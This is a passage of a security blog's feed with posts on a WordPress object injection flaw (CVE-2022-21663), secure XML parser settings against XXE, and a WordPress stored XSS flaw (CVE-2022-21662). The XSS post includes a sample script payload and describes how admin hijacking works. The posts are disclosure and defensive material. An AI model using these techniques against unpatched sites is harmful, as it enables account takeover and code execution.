 697     return false;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;&lt;br/&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Usually, this would not be a problem. As this function misses special objects where the serialized string starts with a &lt;code&gt;C&lt;/code&gt;, an attacker can inject such a serialized PHP string into the database. However, because the &lt;code&gt;maybe_unserialize()&lt;/code&gt; function only passes the string to PHP’s &lt;code&gt;unserialize()&lt;/code&gt; when it is recognized as a serialized string with &lt;code&gt;maybe_serialize()&lt;/code&gt;, it will never be unserialized.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This symmetry between &lt;code&gt;maybe_unserialize()&lt;/code&gt; and &lt;code&gt;maybe_serialize()&lt;/code&gt; is broken in the previously described upgrade script. It passes the string directly to PHP’s &lt;code&gt;unserialize()&lt;/code&gt; function. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, an attacker can perform the following steps to exploit this vulnerability:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Inject a PHP serialized string of a special object carrying malicious &lt;a href=&quot;https://blog.sonarsource.com/php-object-injection&quot;&gt;pop chain gadgets&lt;/a&gt; as properties into the database as an option value. &lt;/li&gt;&lt;li&gt;&lt;code&gt;maybe_serialize()&lt;/code&gt; won’t recognize the payload as a serialized string and does not double serialize it.&lt;/li&gt;&lt;li&gt;Modify the database version option to trigger the vulnerable upgrade script&lt;/li&gt;&lt;li&gt;The upgrade script passes the PHP serialized string directly to &lt;code&gt;unserialize()&lt;/code&gt;, which recognizes the string and deserializes it, triggering the pop chain.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;WordPress fixed this code vulnerability with a &lt;a href=&quot;https://github.com/WordPress/WordPress/commit/638ef7815ec29318434365ffde1d3cef7437b948&quot;&gt;patch commit&lt;/a&gt; which is included in WordPress version &lt;a href=&quot;https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/&quot;&gt;5.8.3&lt;/a&gt;. The vulnerability was fixed by using &lt;code&gt;maybe_unserialize($data)&lt;/code&gt; in the vulnerable &lt;code&gt;upgrade_280()&lt;/code&gt; function to fix the asymmetry between &lt;code&gt;maybe_serialize($data)&lt;/code&gt; and &lt;code&gt;unserialize($data)&lt;/code&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019-04-17&lt;/td&gt;&lt;td&gt;We report the issue to WordPress on Hackerone.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019-04-25&lt;/td&gt;&lt;td&gt;Wordpress acknowledges reception of the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019-07-26&lt;/td&gt;&lt;td&gt;WordPress triages the report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-01-06&lt;/td&gt;&lt;td&gt;WordPress fixes the vulnerability with version 5.8.3&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we analyzed an Object Injection vulnerability (CVE-2022-21663) in the WordPress core. This vulnerability was caused by an asymmetry between parsers of two functions. Differences in the way two different components of an application handle and interpret data is a common issue that often has security consequences. in this case, it lead to an Object Injection vulnerability. Other research has shown how this can &lt;a href=&quot;https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf&quot;&gt;lead to SSRF issues&lt;/a&gt; and / or &lt;a href=&quot;https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf&quot;&gt;Path Traversal&lt;/a&gt; issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are happy to see the vulnerability patched after almost 3 years of it being reported, and, if not already done so, strongly recommend updating your WordPress installation to the latest version &lt;a href=&quot;https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/&quot;&gt;5.8.3&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How to disable XXE processing?]]></title><description><![CDATA[In this post, we will see how to completely disable external entities declaration and expansion, offering a quick and safe solution.]]></description><link>https://www.sonarsource.com/blog/secure-xml-processor</link><guid isPermaLink="false">5a389f9d-206a-5b7e-bd7c-e850e2f66b18</guid><dc:creator><![CDATA[Eric Therond]]></dc:creator><pubDate>Tue, 25 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.sonarsource.com/understanding-xxe-vulnerabilities&quot;&gt;In my last post&lt;/a&gt; I talked about XXE vulnerabilities found on popular open-source projects and more generally how to assess this type of issue. Today, I’ll talk about the different strategies to disable XXE processing.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;External (XXE) and internal entities are useful for building concise XML documents. The appropriate solution to prevent XXE vulnerabilities depends on your project needs. It can be as easy as completely disabling external entities or a slightly more complicated careful resolution of only the ones that you need and trust.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the Java language, especially the &lt;a href=&quot;https://www.oracle.com/java/technologies/jaxp-introduction.html&quot;&gt;JAXP API&lt;/a&gt;, offers more options than in any other language we investigated, our code examples and solutions will be mainly in Java, but we show equivalent strategies for other languages as well. &lt;/p&gt;&lt;h3&gt;Disabling DOCTYPE&lt;/h3&gt;&lt;p&gt;As we discussed &lt;a href=&quot;https://blog.sonarsource.com/understanding-xxe-vulnerabilities&quot;&gt;earlier&lt;/a&gt;, entities are declared in the DOCTYPE of an XML document and so when DOCTYPE declarations are not required in a project, an easy and safe solution is to disable them completely. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The disallow-doctype-decl feature when set to true instructs the XML processor to throw an exception when a DOCTYPE declaration is encountered:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;factory.setFeature(&quot;http://apache.org/xml/features/disallow-doctype-decl&quot;, true);&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Disabling external entities declarations&lt;/h3&gt;&lt;p&gt;A less strict fix is to allow DOCTYPE declarations and only prohibit external entities declarations. Therefore, the XML processor raises an exception if an external entity is found, but processes other DTD declarations normally. Parameter and general external entities are disabled by setting both of the following features to false:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;factory.setFeature(&quot;http://xml.org/sax/features/external-general-entities&quot;, false);
factory.setFeature(&quot;http://xml.org/sax/features/external-parameter-entities&quot;, false);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;PHP&amp;#x27;s &lt;a href=&quot;http://xmlsoft.org/&quot;&gt;libxml&lt;/a&gt; library is safe by default because external entities are disabled unless the LIBXML_NOENT parameter is explicitly set to allow them:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$doc = simplexml_load_string($xml, &quot;SimpleXMLElement&quot;, LIBXML_NOENT); // !XXE enabled!
$doc = simplexml_load_string($xml, &quot;SimpleXMLElement&quot;); // XXE disabled&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note: the &lt;code&gt;LIBXML_NOENT&lt;/code&gt; parameter name is misleading as it doesn&amp;#x27;t create entity reference nodes in the DOM tree, explaining the &amp;quot;&lt;code&gt;NOENT&lt;/code&gt;&amp;quot; suffix, but substitutes the entity with its content.&lt;/p&gt;&lt;h3&gt;Enabling secure processing&lt;/h3&gt;&lt;p&gt;The Java &lt;a href=&quot;https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-88B04BE2-35EF-4F61-B4FA-57A0E9102342&quot;&gt;JAXP Feature for Secure Processing&lt;/a&gt; (FSP) can be explicitly enabled as follows:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It is the central Java mechanism for configuring an XML processor securely by applying restrictions to prevent potential risks such as XML denial of service attacks and XXE vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default FSP is partially enabled and prevents XML denial of service attacks. However, it is only when FSP is explicitly fully enabled, by calling the &lt;code&gt;setFeature&lt;/code&gt; method to set the FSP property to &lt;code&gt;true&lt;/code&gt;, that &lt;a href=&quot;https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-94ABC0EE-9DC8-44F0-84AD-47ADD5340477&quot;&gt;external connections are also expected to be disallowed&lt;/a&gt;. Unfortunately it’s not the case for all XML processors, for instance on Apache Xerces, FSP doesn’t restrict external connections and thus doesn’t protect against XXE vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Therefore, be sure to test FSP behavior with regard to XXE vulnerabilities and use additional properties, such as the others we present in this post, to explicitly and directly disable or restrict XXEs.&lt;/p&gt;&lt;h3&gt;Disabling entities references expansion&lt;/h3&gt;&lt;p&gt;For each entity reference (&lt;em&gt;&amp;amp;entityname;&lt;/em&gt;) found in the XML document, a DOM XML parser either replaces the reference with its value or creates an “empty” entity reference node in the DOM tree, depending on its configuration. The mechanism of replacing entity references with their value, also known as &amp;quot;expanding entity references&amp;#x27;&amp;#x27;, can disclose sensitive information if a maliciously crafted XML file is parsed, as we discussed &lt;a href=&quot;https://blog.sonarsource.com/understanding-xxe-vulnerabilities&quot;&gt;in the first post&lt;/a&gt; in this series.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In Java, the &lt;code&gt;setExpandEntityReferences&lt;/code&gt; method of the &lt;code&gt;DocumentBuilder&lt;/code&gt; factory is used to configure how the entity references are handled:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(false);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When called with &lt;code&gt;false&lt;/code&gt;, entity references are not expanded, preventing XXE vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An important thing to mention is that &lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8206132&quot;&gt;the Xerces processor provided with OpenJDK prior to version 13&lt;/a&gt; doesn’t honor setting the &lt;code&gt;expandEntityReferences&lt;/code&gt; property to &lt;code&gt;false&lt;/code&gt;; entity references are &lt;strong&gt;always&lt;/strong&gt; expanded. Obviously, the best course is to upgrade OpenJDK but if you can&amp;#x27;t do that, rule S2755 is able to detect them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The equivalent feature with the C/C++ Xerces library is:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;xercesc::XercesDOMParser *DOMparser = new xercesc::XercesDOMParser();
DOMparser-&gt;setCreateEntityReferenceNodes(true);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Creating entity reference nodes means that entity references are not expanded and thus don’t result in external content disclosures. Unfortunately, getting these settings configured correctly can be difficult because these method names are not self-explanatory and it is easy to get confused. For example, &lt;a href=&quot;https://github.com/OWASP/CheatSheetSeries/issues/321&quot;&gt;we recently contributed to an improvement of the OWASP C++ guidelines&lt;/a&gt;. Previously they wrongly recommended setting this parameter to &lt;code&gt;false&lt;/code&gt; instead of &lt;code&gt;true&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Therefore, &lt;a href=&quot;https://rules.sonarsource.com/cpp/RSPEC-2755&quot;&gt;rule S2755 for C++&lt;/a&gt; will be triggered if you still rely on the old OWASP recommendation. This was for example the case of the &lt;a href=&quot;https://github.com/microsoft/msix-packaging/pull/482&quot;&gt;msix-packaging&lt;/a&gt; Microsoft open-source project, a C++ tool to pack and unpack MSIX packages:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/771910af-2686-43dd-9a85-d3ae58d2f9bf/body-268d33ae-7222-4319-b61f-09d443a2ea06_6.png&quot; /&gt;&lt;p&gt;Expanding (or not) external entity references occurs after the external content has already been fetched. So even if expansion is disabled and attackers cannot exfiltrate data, requests to external resources are still performed. In this situation a security risk exists, but it could be considered low since an attacker cannot do much more than a “blind SSRF” attack. If it’s not acceptable in your context then you should consider one of the solutions discussed above.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Note: a blind SSRF happens when an attacker can trick the server, in this case the XML processor, to perform an arbitrary request without being able to retrieve the response content. Suppose that this API &lt;a href=&quot;https://internal.network/private/username/admin&quot;&gt;https://internal.network/private/username/admin&lt;/a&gt; is accessible to the XML processor. Then an attacker can perform a request to this API endpoint. In this example&amp;#x27;s  worst case the attacker may be able to guess the existence of a username, depending on the XML processor error handling.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post, we saw how to configure your XML parser to prevent XXE vulnerabilities, from disabling XXE declarations, if you don&amp;#x27;t need them at all, to disabling reference expansions, when you want to allow XXE declarations and fetching but not its substitutions. But sometimes your project may require an even more flexible and precise fix to control and limit the resolving to specific XXEs only, the ones that you expect and that are safe. This is what we&amp;#x27;ll see in a third and final blog post.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-xxe-security-vulnerability&quot;&gt;WordPress 5.7 XXE Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/understanding-xxe-vulnerabilities&quot;&gt;Don&amp;#x27;t be afraid of XXE vulnerabilities: understand the beast and how to detect them&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Don't be afraid of XXE vulnerabilities: understand the beast and how to detect them]]></title><description><![CDATA[Today XML External Entities (XXE) vulnerabilities are still ubiquitous, despite the fact that recommendations to protect against them have been an integral part of security standards for years. In this post, we will try to demystify XXE vulnerabilities and present the rule we put in place to help you detect and prevent them. ]]></description><link>https://www.sonarsource.com/blog/understanding-xxe-vulnerabilities</link><guid isPermaLink="false">ff96e4dd-75fd-525d-a7bf-7e676e2013ea</guid><dc:creator><![CDATA[Eric Therond]]></dc:creator><pubDate>Tue, 18 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Don&amp;#x27;t be afraid of XXE vulnerabilities: understand the beast and how to detect them&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress 5.8.2 Stored XSS Vulnerability]]></title><description><![CDATA[We reported a Stored XSS vulnerability in WordPress (CVE-2022-21662) which remained unpatched for more than 3 years and affected the wordpress.org website.]]></description><link>https://www.sonarsource.com/blog/wordpress-stored-xss-vulnerability</link><guid isPermaLink="false">2a8e7159-99cf-5ff0-94cd-f1d1ce7582e3</guid><dc:creator><![CDATA[Karim El Ouerghemmi]]></dc:creator><pubDate>Tue, 11 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress is the world’s most popular content management system that, according to &lt;em&gt;w3techs&lt;/em&gt;, is used by &lt;a href=&quot;https://w3techs.com/technologies/details/cm-wordpress&quot;&gt;over 40% of all websites&lt;/a&gt;. This wide adoption makes it a top target for cyber criminals who seek to compromise high-traffic websites or infect as many web servers as possible. Its code is heavily reviewed by the security community and by bug bounty hunters that get paid for reporting security issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we investigate a WordPress vulnerability we reported back in 2018, and that remained unpatched for around 3 years afterwards. It can for example be used for privilege escalation and to hijack an admin account from an author account. However, as we&amp;#x27;ll see, exploitation can also be achieved without special privileges when certain WordPress plugins are installed. When we reported the vulnerability, the &lt;em&gt;wordpress.org&lt;/em&gt;website itself was affected and could have been exploited by any forum user to launch a supply chain attack for WordPress plugins.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The discussed vulnerability (CVE-2022-21662) is a Stored Cross-Site Scripting vulnerability which affects WordPress versions up to and including &lt;strong&gt;5.8.2&lt;/strong&gt;. It allows an attacker to inject a JavaScript payload. This payload would be saved to the database and later infect various user interfaces, such as the administration dashboard, allowing the attacker to hijack admin user sessions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Normal exploitation requires author role privileges. The author user role in WordPress, by default, cannot do anything except managing posts. Exploiting this vulnerability would allow an author to escalate their privileges to those of a more powerful role and eventually execute arbitrary code on the server.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In the following section, we’ll discuss the root cause of the identified Stored XSS vulnerability, and explain how it can be used to hijack an admin user as an author. Furthermore, we’ll investigate why and how the issue can be exploited without any privileged account when vulnerable versions of the bbPress plugin are installed.&lt;/p&gt;&lt;h3&gt;Stored XSS in Post Slugs&lt;/h3&gt;&lt;p&gt;A WordPress post “slug” is best explained with an example: given the link to a post in a WordPress blog &lt;code&gt;www.example.com/blog/the-post-title&lt;/code&gt;, the post slug is the &lt;code&gt;the-post-title&lt;/code&gt; part of the URL. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although they can also be set explicitly, post slugs are usually derived from the post title. In the example given above, the title could have been “The Post Title”. When saving the post, WordPress transforms the title to a representation suitable to be part of a URL. This logic starts in the &lt;code&gt;wp_insert_post()&lt;/code&gt; WordPress function, and has mainly the following flow (note that &lt;code&gt;$post_name&lt;/code&gt; is the variable holding the slug):&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/post.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;3834    function wp_insert_post( /*...*/ ) {
3835        // …
3977        if ( empty( $post_name ) ) {
3978            // …
3979            $post_name = sanitize_title( $post_title );
3980            //…
3983        else {
3984            // …
3990            $post_name = sanitize_title( $post_name );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As can be seen from the code, the function &lt;code&gt;sanitize_title()&lt;/code&gt; governs how the transformation from title to slug is done, and which characters are allowed. The &lt;a href=&quot;https://developer.wordpress.org/reference/functions/sanitize_title/&quot;&gt;documentation&lt;/a&gt; currently states:&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;blockquote&gt;“Sanitizes a string into a slug, which can be used in URLs or HTML attributes. … By default, converts accent characters to ASCII characters and further limits the output to alphanumeric characters, underscore (_) and dash (-) through the ‘sanitize_title’ filter.”&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This sounds pretty restricting, and does not give the impression that any interesting injection can get past this sanitization. However, looking at the &lt;code&gt;sanitize_title_with_dashes()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function, which is the default function hooked to the &lt;code&gt;sanitize_title&lt;/code&gt; filter, we can see that one detail was left out in the documentation.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/formatting.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;2226    function sanitize_title_with_dashes( $title, /*...*/ ) {
2227        $title = strip_tags( $title );
2228        // Preserve escaped octets.
2229        $title = preg_replace( &apos;|%([a-fA-F0-9][a-fA-F0-9])|&apos;, &apos;---$1---&apos;, $title );
2230        // Remove percent signs that are not part of an octet.
2231        $title = str_replace( &apos;%&apos;, &apos;&apos;, $title );
2232        // Restore octets.
2233        $title = preg_replace( &apos;|---([a-fA-F0-9][a-fA-F0-9])---|&apos;, &apos;%$1&apos;, $title );
2234        // … some other replacements
2304        $title = preg_replace( &apos;/[^%a-z0-9 _-]/&apos;, &apos;&apos;, $title );
2305         // …
2309        return $title;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As can be seen from the regular expressions, the sanitization preserves URL-encoded octets, and, indeed, slugs can contain URL-encoded characters. Although this is not explicit in the documentation, the &amp;quot;... which can be used in URLs or HTML attributes&amp;quot; part still holds. Usually, a URL-encoded string cannot be used to inject anything interesting unless it is decoded again. After some investigation, we encountered the &lt;code&gt;_truncate_post_slug()&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;wp-includes/post.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;4921    function _truncate_post_slug( $slug, $length = 200 ) {
4922        if ( strlen( $slug ) &gt; $length ) {
4923            $decoded_slug = urldecode( $slug );
4924            if ( $decoded_slug === $slug ) {
4925                $slug = substr( $slug, 0, $length );
4926            } else {
4927                $slug = utf8_uri_encode( $decoded_slug, $length );
4928            }
4929        }
4931        return rtrim( $slug, &apos;-&apos; );&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In line 4923 of the code above, a slug gets URL decoded with the PHP function &lt;code&gt;urldecode()&lt;/code&gt;. In case the slug does contain URL-encoded characters, it gets encoded again limiting its length. The subtlety here is that the function used for encoding is not the counterpart of the one used for decoding.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The WordPress function &lt;code&gt;utf8_uri_encode()&lt;/code&gt; only encodes Unicode characters. As an example, the result of &lt;code&gt;utf8_uri_encode(&amp;#x27;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&amp;#x27;, 200)&lt;/code&gt; remains &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;This leads to  &lt;code&gt;_truncate_post_slug()&lt;/code&gt; having a discrepancy between what gets decoded and what gets encoded. Calling this function with a slug containing a URL-encoded JavaScript payload returns a slug containing the decoded payload. The next step in our investigation was to find out when &lt;code&gt;_truncate_post_slug()&lt;/code&gt; gets called, and if there is any sanitization of the resulting slug afterwards. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The main location where &lt;code&gt;_truncate_post_slug()&lt;/code&gt; is called is in the WordPress function &lt;code&gt;wp_unique_post_slug()&lt;/code&gt;&lt;em&gt;.&lt;/em&gt; During the post saving process, this function ensures that slugs stay unique by adding a numerical suffix on duplicates. When trying to set the slug of one post to, for example, &lt;code&gt;the-post-slug&lt;/code&gt;, and there is already another post with that slug, the function will calculate an alternative slug &lt;code&gt;the-post-slug-2&lt;/code&gt; calling &lt;code&gt;_truncate_post_slug()&lt;/code&gt; on it to ensure that alternatives do not get too long with the suffix. This whole process is executed in &lt;code&gt;wp_insert_post()&lt;/code&gt; after all sanitization is done. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/38399ff7-388c-40f4-a1e7-160d142dcdfa/body-17d24bd7-5117-4e09-9c6a-cec16b708fa6_WordPress%2BDiagram.png&quot; /&gt;&lt;p&gt;Using what we have discovered so far, we were able to save a post whose slug contains a JavaScript payload in the WordPress database following these steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Create two posts &lt;code&gt;A&lt;/code&gt; and &lt;code&gt;B&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Set the slug of &lt;code&gt;A&lt;/code&gt; to &lt;code&gt;URL_ENCODED_JS_PAYLOAD+FILLING_CHARACTERS&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Set the slug of &lt;code&gt;B&lt;/code&gt; to the same as &lt;code&gt;A&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;When setting the slug for the second post &lt;code&gt;B&lt;/code&gt;, the payload ends up decoded in the database because there is already a post with the same slug, and an alternative is calculated by going through the &lt;code&gt;wp_unique_post_slug()&lt;/code&gt; -&amp;gt; &lt;code&gt;_truncate_post_slug()&lt;/code&gt;process. Note that some filling characters might be needed in the slug because the decoding in  &lt;code&gt;_truncate_post_slug()&lt;/code&gt; only happens over a certain length (200 by default).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because post slugs were supposed to only contain safe characters, it didn’t take long to find a location in which they are printed without any escaping:one such location is the main post listing in the administration panel. As a result, the JavaScript payload is injected into the HTML response page and executed in the browser of any administrator visiting that page. From here, the JavaScript payload can control further administrator actions, such as uploading malicious WordPress plugins and executing arbitrary PHP code.&lt;/p&gt;&lt;h3&gt;Unprivileged exploitation with bbPress &amp;lt; 2.6.0&lt;/h3&gt;&lt;p&gt;The vulnerability as discussed so far can only be exploited by attackers that have author privileges. The reason for this is that control over the slug of a post has to be given either directly or indirectly by having control over the title of a post and having the slug be calculated from the title.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because many things in WordPress are built around the concept of posts with custom post types, we did investigate further to find possible attack vectors requiring no special privileges. Such a case turned out to be possible when the WordPress forum plugin bbPress is installed (versions &amp;lt; &lt;strong&gt;2.6.0&lt;/strong&gt;). This plugin is, for example, used to run the support forums on &lt;em&gt;wordpress.org&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Internally in bbPress, a forum topic is represented by a WordPress post with a custom post type. Understandably, when creating a topic, a forum user can also set its title, and a first investigation showed that the slug is calculated from the title. As an example, when creating a topic with the title &lt;code&gt;my-topic&lt;/code&gt; it will be accessible from &lt;code&gt;www.example.com/forum/topic/my-topic&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, any forum user could exploit the vulnerability by applying the technique discussed in the previous section to forum topics. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/-011tomZFHY&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The core issue leading to a Stored XSS vulnerability in post slugs was fixed in the &lt;a href=&quot;https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/&quot;&gt;release 5.8.3 of WordPress&lt;/a&gt;. The &lt;a href=&quot;https://github.com/WordPress/WordPress/commit/77a972838c495dca96164e9ebfa24780be439e4e&quot;&gt;implemented solution&lt;/a&gt; was to modify the function &lt;code&gt;utf8_uri_encode()&lt;/code&gt; by adding an optional parameter &lt;code&gt;$encode_ascii_characters&lt;/code&gt;which, when set to &lt;code&gt;true&lt;/code&gt;, leads to non-alphanumeric characters required for a payload to be encoded with the PHP function &lt;code&gt;rawurlencode()&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The main learning here is to always be extra careful when modifying a value after it has been sanitized. This is a common root cause for vulnerabilities that we find in various applications, as presented in our talk at the Hacktivity conference last year.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Possible unprivileged exploitation in case the bbPress plugin is installed was fixed with the &lt;a href=&quot;https://bbpress.org/blog/2019/11/bbpress-2-6/&quot;&gt;release of bbPress 2.6.0&lt;/a&gt;. The new version is shipped with a server-side validation of the maximum topic title length making exploitation with the discussed technique not possible. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018-10-18&lt;/td&gt;&lt;td&gt;We report the issue to WordPress on Hackerone.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018-11-26&lt;/td&gt;&lt;td&gt;Report gets triaged and confirmed by WordPress.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018-12-13&lt;/td&gt;&lt;td&gt;We remind WordPress that, since bbPress is used, the issue can be exploited without privileges on wordpress.org.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018-12-13&lt;/td&gt;&lt;td&gt;WordPress tells us that they added a hotfix to wordpress.org to avoid unprivileged exploitation and that they contacted bbPress.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019-11-12&lt;/td&gt;&lt;td&gt;bbPress 2.6.0 gets released with title length limitation.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2020-10-29&lt;/td&gt;&lt;td&gt;According to the 5.5.2 changelog, the core issue is supposedly fixed.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2020-12-28&lt;/td&gt;&lt;td&gt;We inform WordPress that the issue was not fixed and that it is still exploitable with the same payload.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-02-24&lt;/td&gt;&lt;td&gt;WordPress tells us that they hope to include a fix in a 5.7.x release.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-05-25&lt;/td&gt;&lt;td&gt;We make WordPress aware of a 90 days disclosure deadline starting that day.&lt;/td&gt;&lt;/tr&gt;
